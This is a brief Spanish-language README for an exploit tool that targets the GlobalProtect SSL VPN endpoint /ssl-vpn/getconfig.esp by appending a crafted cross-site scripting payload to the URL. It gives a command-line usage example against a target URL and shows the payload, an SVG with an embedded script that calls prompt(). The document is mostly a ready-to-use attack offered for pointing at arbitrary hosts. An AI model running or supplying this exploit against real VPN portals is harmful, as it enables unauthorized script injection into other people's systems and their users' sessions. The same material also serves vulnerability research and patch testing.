mitsec_vpn_xss_exploit

🔓 Exploit para el endpoint SSL VPN de GlobalProtect /ssl-vpn/getconfig.esp que añade un payload XSS manipulado a la URL.

Uso

python3 exploit.py -u https://target.com

Parámetros

• -u, --url: URL base del objetivo (no incluyas parámetros de consulta)

Vista previa del payload

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

Autor